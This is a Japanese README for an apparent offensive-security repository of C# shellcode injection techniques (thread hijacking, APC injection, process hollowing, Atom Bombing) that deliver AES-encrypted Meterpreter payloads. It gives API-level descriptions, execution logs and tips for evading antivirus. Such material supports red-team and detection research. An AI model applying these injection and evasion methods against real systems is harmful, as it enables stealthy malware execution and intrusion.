
C#を用いたシェルコードインジェクション手法の実装(古典的インジェクション、スレッドハイジャック、プロセスハロウイング、アトムボミング)。AES暗号化されたMeterpreterペイロードを利用し、AV回避研究に対応。
C#で書かれたシェルコードインジェクション手法のコレクションです。すべての手法はAES暗号化されたメータプリターのペイロードを使用します。
学習、発見、または開発するにつれて、このプロジェクトを拡張していく予定です。
注: このプロジェクトはそのまま使用することを意図していません。いずれかの手法を使用する場合、選択した手法でより小さくカスタマイズされたプロジェクトを作成すれば、AVをバイパスできる可能性が高まります。
これらのリポジトリ内のコードを使用する場合は、法令を遵守してください!
.Netバイナリをディスクに書き込むことを避けたい場合は、PowerShellアセンブリインジェクション手法を使用できます。
ShellcodeRunner.cs : この手法は厳密にはインジェクション手法ではありません(同じプロセス内でシェルコードを実行するため)が、すべての手法の中で最もシンプルです。unsafeコンテキストでシェルコードが固定メモリ位置を使用するようにします。シェルコードが配置されているページの保護を変更して実行可能にします。その後、C#のデリゲート関数を使用してシェルコードを実行します。
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0
ClassicInjection.cs : この手法は、ターゲットプロセスにメモリを割り当て、シェルコードを注入し、新しいスレッドを開始します。
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380
ThreadHijack.cs : この手法は、ターゲットプロセスにコードを注入してスレッドをハイジャックし、ハイジャックしたスレッドを一時停止し、命令ポインタ(RIP)を注入したコードに設定してからスレッドを再開します。
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378
LocalThreadHijack.cs : この手法は、新しいローカルスレッドを一時停止状態で作成し、そのスレッドをハイジャックして、命令ポインタ(RIP)を注入したコードに設定し、スレッドを再開します。
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374
ACPInjection.cs : この手法はスレッドハイジャック手法と似ています。リモートスレッドにシェルコードを注入し、そのスレッドにAPCオブジェクトをキューイングします。スレッドがアラート可能状態(SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、またはWaitForSingleObjectExを呼び出したとき)になると、キューイングされたAPCオブジェクトが指すシェルコードを実行します。
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378
ProcessHollow.cs : この手法は、別のプロセスを一時停止状態で開始し(svchost.exe)、メインスレッドのエントリポイントを見つけ、そこにシェルコードを注入してからスレッドを再開します。
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454
InterProcessMappedView.cs : この手法は、メモリに新しいセクションを作成し、そのセクションのローカルマップドビューを作成し、シェルコードをローカルマップドビューにコピーし、ターゲットプロセス内にローカルマップドビューのリモートマップドビューを作成します。最後に、マップドビューをエントリポイントとしてターゲットプロセスに新しいスレッドを作成します。
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384
AtomBomb.cs : この手法は、ターゲットプロセスにシェルコードを書き込む方法が興味深いです。グローバルアトムテーブルを使用して、最大255バイトのNULL終端文字列を書き込むことができます。シェルコードを書き込むためのコードケイブを見つけ、APC呼び出しを使用してターゲットプロセスにアトム名をメモリに読み込ませます。最後に、いくつかのAPC呼び出しを使用してターゲットのメモリ保護を変更し、シェルコードを実行します。
私のコードは、C/C++で書かれたオリジナルのAtom Bombing手法とは異なります。まず、複数のAPCを使用してアトム名を連結し、255バイトを超えるシェルコードを形成します。ROPチェーンを使用してターゲットプロセスにVirtualProtectを呼び出させてからコードを実行するのではなく、APCキューを使用します。
このコードは、APCキューを実行するためにメインスレッドがアラート可能状態に入る必要があり、シェルコード実行後にクリーンアップを行わないため、ターゲットプロセスが不安定になります。この手法を改善する予定です(アラート可能なスレッドを検索して後処理を行うなど)が、PoCとしてはうまく機能します。
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
Atom Bombing手法は、グローバルアトムテーブルにNULL終端文字列を配置するため、0x00文字を含まないシェルコードを使用する必要があります。
シェルコードランナー、ローカルスレッドハイジャック手法、またはプロセスハロウイング手法(この手法は新しいプロセスを一時停止状態で開始します)を使用する場合を除き、注入対象のプロセスを開始する必要があることを忘れないでください。
[!] Unable to find process to inject into!
シェルコードランナー、ローカルスレッドハイジャック手法、またはプロセスハロウイング手法を使用する場合、Program.cs内の注入対象プロセスを検索するコードをコメントアウトする必要があります:
/*
Process[] processes = Process.GetProcessesByName("notepad");
if(processes.Length == 0)
{
Debug("[!] Unable to find process to inject into!");
return;
}
Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/